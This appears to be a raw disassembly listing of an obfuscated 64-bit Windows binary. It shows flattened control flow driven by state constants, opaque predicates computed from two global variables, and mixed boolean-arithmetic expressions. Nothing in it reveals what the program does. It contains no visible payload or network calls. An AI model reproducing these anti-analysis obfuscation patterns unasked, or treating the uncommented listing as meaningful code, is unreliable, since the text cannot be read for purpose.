or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
mov ebx, ecx
and bl, r8b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and cl, r9b
and bl, al
or bl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x72c826b0
mov ecx, 0xb51dfe09
cmovne edx, ecx
test al, 1
mov ecx, 0x72c826b0
cmovne ecx, edx
jmp 0x14013d3d1
cmp ecx, 0x102ddd94
jg 0x1401372f7
cmp ecx, 0xd6b1168
je 0x14013b8d8
cmp ecx, 0xea92fd5
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
not ebx
and edx, 0xa4c3f249
and eax, 0x5b3c0db6
or eax, edx
xor eax, 0x5b3c0db6
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
cmp eax, 0xffffffff
sete r8b
setne r9b
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor dl, cl
and dl, cl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
or bl, dl
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, r9d
or al, bl
xor r9b, bl
xor r9b, 1
and r9b, bl
xor r9b, 1
mov edx, eax
xor dl, r9b
or r9b, al
xor r9b, 1
or r9b, dl
mov eax, ecx
or al, r8b
xor cl, r8b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
xor al, r9b
mov ecx, eax
xor cl, 1
and cl, r9b
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x403a09e2
mov ebp, 0x1b38c1f
cmovne eax, ebp
test cl, 1
mov ecx, 0x403a09e2
jmp 0x14013c303
cmp ecx, 0x65546793
jg 0x14013747d
cmp ecx, 0x64cabdc9
je 0x14013ba57
cmp ecx, 0x64d47c66
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xc2293854
and edx, 0x3dd6c7ab
or edx, ecx
mov ebx, edx
xor ebx, 0x14400028
xor edx, 0x200040
or ebp, 0x54729068
mov ecx, ebp
not ecx
or edx, 0x80c4181
and edx, 0x83ec1c1
and ebx, 0x54401028
or ebx, edx
and ebp, 0x83ec1c1
and ecx, 0xa3812e16
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xab8d6f97
and ecx, 0x54729068
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
or ebp, 1
mov ebx, ebp
not ebx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov edi, ebp
and edi, 0x9740567c
and ebx, 0x68bfa982
or ebx, edi
or ebp, edx
and edx, 0x9740567c
and ecx, 0x68bfa983
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x85991b3a
and edx, ebp
not ebp
and ebp, 0x498192a
and ecx, 0x81010210
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80000000
xor ecx, 0x7efefdef
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x176bcf14
and ebp, 0x8090102a
or ebp, edi
or ecx, ebx
and ebx, 0x176bcf14
and edx, 0xe89430eb
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7a66e4c5
and ecx, 0x85991b3a
or ecx, edx
mov edx, ecx
not edx
and edx, 0x943ad172
and ecx, 0x6bc52e8d
or ecx, edx
mov edx, ecx
xor edx, 0x43010c89
xor ecx, 0x14029030
and ecx, 0x3cc6b234
and edx, 0xc3394dcb
or edx, ecx
xor edx, 0x3cc6b234
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or dl, al
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
xor bl, al
and al, bl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xd1103227
mov edx, 0x9030146b
cmovne ecx, edx
test bl, 1
mov edx, 0xd1103227
cmovne edx, ecx
test al, al
cmove edx, ecx
jmp 0x14013e567
cmp ecx, 0x2eca7cb4
jg 0x1401374ab
cmp ecx, 0x2dd3515b
je 0x14013ba6d
cmp ecx, 0x2e74e61f
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov esi, eax
not esi
mov ebp, eax
xor ebp, 0x6c688483
and ebp, eax
mov ecx, eax
or ecx, 0x93977b7c
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x84a2894e
mov edx, esi
and edx, 0x68480481
or edx, edi
or ecx, ebx
and ebx, 0x84a2894e
and ebp, 0x7b5d76b1
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb4810aa7
and ecx, 0x4b7ef558
or ecx, edx
mov edx, ecx
xor edx, 0x271671da
and esi, 0xabf10812
and eax, 0x540ef7ed
or eax, esi
mov ebp, eax
xor ebp, 0x540ef7ed
xor ecx, 0xd8e98e25
and ebp, ecx
xor eax, 0xabf10812
and eax, edx
or eax, ebp
not eax
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x14024b6e4], 0xa
setl cl
mov eax, ecx
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
mov r8d, ecx
xor r8b, 1
xor dl, 1
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
and cl, dl
xor dl, 1
and dl, r8b
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x8640b11e
mov eax, 0x581faa89
cmovne ecx, eax
test dl, dl
cmove ecx, eax
not bl
test bl, 1
mov eax, 0x8640b11e
jmp 0x14013d209
cmp ecx, 0x51bcb6d8
jg 0x140137640
cmp ecx, 0x507b41c0
je 0x14013bb90
cmp ecx, 0x51a1a84d
jne 0x1401306d0
mov ecx, 0xd1460b1d
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x8d0bbdc6
jg 0x140137818
cmp ecx, 0x8bef6d1e
je 0x14013bba6
cmp ecx, 0x8ca9b24b
jne 0x1401306d0
mov ecx, 0x991f7edf
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xd0716ce0
jg 0x140137948
cmp ecx, 0xcf4e918c
je 0x14013bcb2
cmp ecx, 0xcf839b78
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x447cee9c
mov ebx, ecx
and ebx, 0xbb831162
or ebx, ebp
xor ebx, 0xbb831162
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0x8dbbb7
and ecx, 0xff724448
or ecx, edx
mov edx, ecx
xor edx, 0xf4524400
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xb2d3278
and ebp, 0xf4d2cd87
or ebp, ebx
xor ecx, 0xd3230
and ecx, 0xb2d3278
and edx, 0xf4d2cd87
or edx, ecx
xor edx, ebp
not edx
or edx, edi
cmp edx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r9d, eax
xor r9b, dl
xor r9b, 1
or r9b, al
or bl, r8b
xor bl, 1
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
mov ebx, ecx
xor bl, 1
xor cl, al
or bl, dl
xor bl, 1
or bl, cl
mov eax, ebx
and al, r9b
mov ecx, r9d
and cl, dl
xor dl, r9b
xor r9b, 1
xor bl, 1
and bl, r9b
or bl, al
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x1ede28d3
mov ecx, 0xf0e6e0e9
cmovne eax, ecx
test dl, 1
mov ecx, 0x1ede28d3
jmp 0x140138bac
cmp ecx, 0xaf6451a3
jg 0x140137a5a
cmp ecx, 0xaf0a3f6a
je 0x14013bcc8
cmp ecx, 0xaf54ca7f
jne 0x1401306d0
mov ecx, 0xf646259d
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xf158d495
jg 0x140137bfd
cmp ecx, 0xf13378fc
je 0x14013be45
cmp ecx, 0xf13fe161
jne 0x1401306d0
mov ecx, 0xeae51796
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x1ec67cf3
je 0x14013bf32
cmp ecx, 0x1ede28d3
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x5ded28ca
and ecx, edx
or edx, 0xa212d735
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x3564d773
and ebp, 0x48892888
or ebp, edi
or edx, ebx
and ebx, 0x3564d773
and ecx, 0xca9b288c
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x22d47cd9
and edx, 0xdd2b8326
or edx, ecx
mov ecx, edx
xor ecx, 0x80c6abec
xor edx, 0x2c390410
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xacfdae74
and ecx, 0x5302518b
or ecx, edx
xor ecx, 0x5302518a
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xc5488835
and edx, ecx
and ecx, 0x3ab777ca
or ecx, ebp
mov ebp, ecx
xor ebp, 0x18b514c2
xor ecx, 0xc5488835
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xa24ae339
and ebp, 0x5db51cc6
or ebp, edi
or ecx, ebx
and ebx, 0xa24ae339
and edx, 0x5db51cc6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe94d0546
and ecx, 0x16b2fab9
or ecx, edx
mov edx, ecx
xor edx, 0x41012a9
xor ecx, 0xe84d0446
and ecx, 0xfaefec56
and edx, 0x51013a9
or edx, ecx
mov ecx, edx
xor ecx, 0x69a052
xor edx, 0x5001328
and edx, 0xff865f2c
and ecx, 0x79a0d3
or ecx, edx
xor ecx, 0x79a0d3
setne r8b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov r10d, ecx
mov ebx, ecx
and bl, r9b
xor cl, r9b
and r9b, al
and r10b, r8b
or r10b, r9b
xor al, r8b
or cl, bl
mov ebx, ecx
xor bl, al
xor al, 1
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov edx, r10d
xor dl, 1
and al, dl
or dl, cl
and cl, r10b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2eca7cb5
mov ebp, 0x51bcb6d9
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x2eca7cb5
cmovne ecx, ebp
jmp 0x14013ace9
cmp ecx, 0x7ae2a0fb
je 0x14013bfe1
cmp ecx, 0x7c02a5c8
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0x9579c2f6
mov edx, ebp
xor edx, 0x9579c2f6
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x6a863d08
and edx, 0x9579c2f7
or edx, ebx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xdc0656be
and edx, 0x23f9a941
or edx, ebx
and ebp, 0xdc0656be
and ecx, 0x23f9a941
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
and cl, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
and bl, r8b
or cl, bl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x81ef16fb
mov ebp, 0xffebf9f1
cmovne ecx, ebp
test dl, dl
mov edx, 0x81ef16fb
jmp 0x1401390e7
cmp ecx, 0x44166d9b
je 0x14013bff7
cmp ecx, 0x4459baba
jne 0x1401306d0
mov r8, qword [rsp + 0x38]
mov edx, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
not edx
and ebx, edx
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x39b508ac
and ebx, 0xc64af753
or ebx, edx
mov edx, ebx
xor edx, 0xc64af753
xor ebx, 0x39b508ac
mov edi, ebx
or edi, 0xdea08a4b
mov esi, edi
not esi
or ebp, 0x215f75b4
and edi, 0x42d9299b
and esi, 0x21065424
or esi, edi
mov edi, ebp
not edi
and ebp, 0x42d9299b
and edi, 0x9c208240
or edi, ebp
xor edi, esi
mov ebp, edi
not ebp
and ebp, 0xdea08a4a
and edi, 0x215f75b5
or edi, ebp
and ebx, 0x85d91135
mov ebp, edx
and ebp, 0x7a26eeca
or ebp, ebx
xor ebp, 0x85d91134
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xd64cba9f
and edx, 0x29b34560
or edx, ebp
xor edx, 0x29b34560
mov ebp, edi
and ebp, edx
xor edx, edi
or edx, ebp
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xd40318c5
and edx, 0x21488430
or edx, ebp
mov edi, edx
xor edi, 0x1400020
xor edx, 0x8ab60848
or ebx, 0xf54b9cf5
mov ebp, ebx
not ebp
and edx, 0xaabe8c58
and edi, 0x554110a5
or edi, edx
and ebx, 0xaabe8c58
and ebp, 0x6302
or ebp, ebx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x71d61b34
and ebp, 0x8e29e4cb
or ebp, edx
mov edx, ebp
xor edx, 0x43204810
xor ebp, 0x849d87c1
mov ebx, ebp
and ebx, 0x3cc637ee
and edx, 0xc339c811
or edx, ebx
xor edx, 0xc339c811
or edx, ebp
cmp edx, 0xffffffff
setne r9b
sete r11b
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl r10b
mov ecx, r11d
xor cl, r10b
mov ebx, ecx
and bl, r11b
and cl, r10b
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, r11b
and al, dl
and r9b, r10b
and dl, r11b
or dl, r9b
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x46305027
mov ebp, 0xb0a8bbf4
cmovne eax, ebp
test dl, 1
mov edx, 0x46305027
cmovne edx, eax
mov qword [0x14024b0a0], r8
jmp 0x140139d23
cmp ecx, 0x9b681418
je 0x14013c00d
cmp ecx, 0x9c1b05e6
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea esi, [rcx - 1]
imul esi, ecx
mov edi, esi
not edi
mov edx, esi
or edx, 0xe191b805
mov ebp, edx
not ebp
mov ecx, edi
or ecx, 0x1e6e47fa
mov ebx, ecx
not ebx
and edx, 0x9b96b62d
and ebp, 0x46841d2
or ebp, edx
and ecx, 0x9b96b62d
and ebx, 0x60010800
or ebx, ecx
xor ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0xf6a9290f
and ebx, 0x956d6f0
or ebx, ecx
mov ebp, ebx
xor ebp, 0x1738910b
xor ebx, 0x88832cd4
mov ecx, ebp
and ecx, 0x67644229
and ebx, 0x989bbdd6
or ebx, ecx
or ebp, esi
and esi, 0x67644229
and edi, 0x989bbdd6
or edi, esi
xor edi, ebx
not ebp
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xdfdb4ff
and ebp, 0xf2024b00
or ebp, ecx
xor ebp, 0xf2024b00
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ebx
or dl, cl
and cl, al
xor al, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and bl, r8b
or bl, cl
xor bl, 1
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, bl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov edx, ebx
xor dl, al
test bl, bl
mov ecx, 0x4fe64ea
mov ebp, 0x5f7c59db
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x4fe64ea
jmp 0x14013dd20
cmp ecx, 0xdc9455b3
je 0x14013c023
cmp ecx, 0xe24be10e
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x2a8656e7
and edx, ebp
not ebp
and ebp, 0xf094b8f7
and ecx, 0xf6b4708
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8024600
xor ecx, 0x208410e7
or ecx, 0xd579a918
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x569c2068
and ebp, 0x28025687
or ebp, edi
or ecx, ebx
and ebx, 0x569c2068
and edx, 0xa963df97
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd579a918
and ecx, 0x2a8656e7
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9dc7c719
and edx, ecx
and ecx, 0x623838e6
or ecx, ebp
mov ebp, ecx
xor ebp, 0x81026
xor ecx, 0x9dc7c719
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x7232aac0
and ebp, 0x8dcd553f
or ebp, edi
or ecx, ebx
and ebx, 0x7232aac0
and edx, 0x8dcd553f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
or al, r8b
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x5f7c59db
mov ebp, 0xecfb52b9
cmovne ecx, ebp
test al, 1
mov eax, 0x5f7c59db
jmp 0x14013e287
cmp ecx, 0xb9404d0d
je 0x14013c193
cmp ecx, 0xbcbabf7e
jne 0x1401306d0
mov ecx, 0x61e4c080
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xff0dad13
je 0x14013c1a9
cmp ecx, 0xff3330a7
jne 0x1401306d0
mov ecx, 0x133515bb
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x285a909
je 0x14013c1bf
cmp ecx, 0x349095d
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0xaff1d7d6
and eax, 0x500e2829
or eax, ecx
mov edx, eax
xor edx, 0x500e2829
mov ecx, eax
xor ecx, 0x80719556
xor eax, 0x500e2828
and eax, edx
and ecx, 0x8075b55f
and edx, 0x7f8a4aa0
or edx, ecx
mov ebp, edx
xor ebp, 0x44804a21
mov ecx, eax
not ecx
xor edx, 0x8075b55e
mov ebx, ecx
and ebx, 0x3b3a00d4
and eax, 0xc4c5ff2b
or eax, ebx
or ecx, edx
and edx, 0x3b3a00d4
and ebp, 0xc4c5ff2b
or ebp, edx
xor ebp, eax
not ecx
or ecx, ebp
mov eax, ecx
not eax
mov edx, eax
and edx, 0x4bcaad90
and eax, ecx
and ecx, 0xb435526f
or ecx, edx
xor ecx, 0xb435526f
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
setne al
cmp dword [0x14024b6e4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xda38a867
mov ebp, 0xd2bd46c9
cmovne ecx, ebp
test al, al
mov eax, 0xda38a867
cmove ecx, eax
jmp 0x140139452
cmp ecx, 0x5eb70265
je 0x14013c23b
cmp ecx, 0x5f7c59db
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov esi, ecx
xor esi, 1
and esi, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov ebp, esi
not ebp
mov ebx, ecx
not ebx
mov edi, ebp
and edi, 0xdafc0570
and esi, 0x2503fa8f
or esi, edi
or ebp, ebx
and ebx, 0xdafc0570
and ecx, 0x2503fa8f
or ecx, ebx
xor ecx, esi
not ebp
or ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x9cde323d
and edx, ebp
not ebp
and ebp, 0x53426b00
and ecx, 0xacbd94ff
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8001019
xor ecx, 0x10422200
or ecx, 0x6321cdc2
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe7bc2864
and ebp, 0x18421219
or ebp, edi
or ecx, ebx
and ebx, 0xe7bc2864
and edx, 0x1843d79b
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x306168f3
and ecx, 0xcf9e970c
or ecx, edx
xor ecx, 0x5340a531
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov ebx, r8d
xor bl, cl
and bl, r8b
mov eax, r9d
mov edx, r8d
xor dl, r9b
xor cl, r9b
or r9b, bl
xor r9b, 1
xor al, bl
not al
and al, bl
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
and dl, r8b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, ecx
xor dl, 1
and dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xfede7486
mov ebp, 0x45d25f40
cmovne ecx, ebp
test dl, 1
mov edx, 0xfede7486
jmp 0x14013bfd7
cmp ecx, 0x26113110
je 0x14013c251
cmp ecx, 0x2715ee5b
jne 0x1401306d0
mov ecx, 0x62ec9827
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x480e327a
je 0x14013c311
cmp ecx, 0x48e01230
jne 0x1401306d0
mov ecx, 0x8bef6d1e
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x81a94148
je 0x14013c3ff
cmp ecx, 0x81ef16fb
jne 0x1401306d0
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0a0], rax
mov ecx, 0xffebf9f1
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xc19a287b
je 0x14013c508
cmp ecx, 0xc201032d
jne 0x1401306d0
mov ecx, 0x490a4ead
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xa47793ef
je 0x14013c51e
cmp ecx, 0xa5a1b9cd
jne 0x1401306d0
mov dl, byte [rsp + 0x2e]
mov r8b, byte [rsp + 0x2f]
mov r10d, r8d
xor r10b, 1
mov ebx, edx
xor bl, 1
mov eax, edx
xor al, r10b
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r10b
and cl, r8b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r9b
or dl, cl
mov ebx, eax
xor bl, dl
test dl, 1
mov ecx, 0xb9404d0d
mov edx, 0xfb17008c
cmovne ecx, edx
test al, 1
mov eax, 0xb9404d0d
jmp 0x14013d3ce
cmp ecx, 0xe77a9f9e
je 0x14013c540
cmp ecx, 0xe81a8313
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x10302a48
mov edx, ecx
and edx, 0x88400120
or edx, eax
xor edx, 0x88400120
and ecx, 0x678fd497
or ecx, edx
mov eax, ecx
not eax
and eax, 0x3fa4e847
and ecx, 0xc05b17b8
or ecx, eax
mov ebx, ecx
xor ebx, 0x582b3cd0
mov eax, ecx
xor eax, 0xa7d4c32f
mov edx, ebx
or edx, 0xe0849969
mov ebp, edx
not ebp
xor ecx, 0x47505a46
and ecx, ebx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x4e82cce6
and ebp, 0x11792210
or ebp, esi
or edx, edi
and edi, 0x4e82cce6
and ecx, 0xb17d3319
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdc8fc071
and edx, 0x23703f8e
or edx, ecx
xor edx, 0x3c0b5919
and ebx, 0xe60b1d84
mov ecx, eax
and ecx, 0x19f4e27b
or ecx, ebx
xor ecx, 0xe60b1d85
and eax, 1
or eax, ecx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xc9107de
and eax, 0xf36ef821
or eax, ecx
mov ebp, eax
xor ebp, 0x21022801
xor eax, 0xc800040
or edx, 0x2d833e4b
mov ecx, edx
not ecx
or eax, 0xc2248180
and eax, 0xcea491c0
and ebp, 0x21032e0b
or ebp, eax
and edx, 0xcea491c0
and ecx, 0x10584034
or ecx, edx
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x706e89fc
and ecx, 0x8f917603
or ecx, eax
mov eax, ecx
xor eax, 0xa0100000
xor ecx, 0x5dedb7b7
mov edx, ecx
and edx, 0x1f634b4e
and eax, 0xe09cb4b1
or eax, edx
xor eax, 0xe09cb4b1
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x14024b6e4], 0xa
setl cl
mov edx, ecx
xor dl, al
mov ebx, ecx
xor bl, dl
not bl
and bl, dl
or al, cl
xor al, 1
not dl
and dl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x9ad8bf75
mov ebp, 0x37715746
cmovne edx, ebp
test cl, cl
mov ecx, 0x9ad8bf75
jmp 0x14013ca3d
cmp ecx, 0x13eea244
je 0x14013c556
cmp ecx, 0x14f4ffd2
jne 0x1401306d0
mov ecx, 0xeef404cd
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x69a25625
je 0x14013c56c
cmp ecx, 0x6ec54474
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
mov ecx, dword [0x14024b6e4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x2c5177e2
mov ebx, edx
and ebx, 0xd3ae881c
or ebx, ebp
xor ebx, 0xd3ae881c
and edx, 1
or edx, ebx
not edx
mov ebp, edx
and ebp, eax
xor edx, eax
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg cl
and r9b, dl
xor dl, cl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, r8b
and bl, cl
and cl, r8b
or cl, r9b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
not bl
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x9c1b05e6
mov ebp, 0x5f9595f2
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x9c1b05e6
cmovne ecx, ebp
test al, al
jmp 0x14013e66d
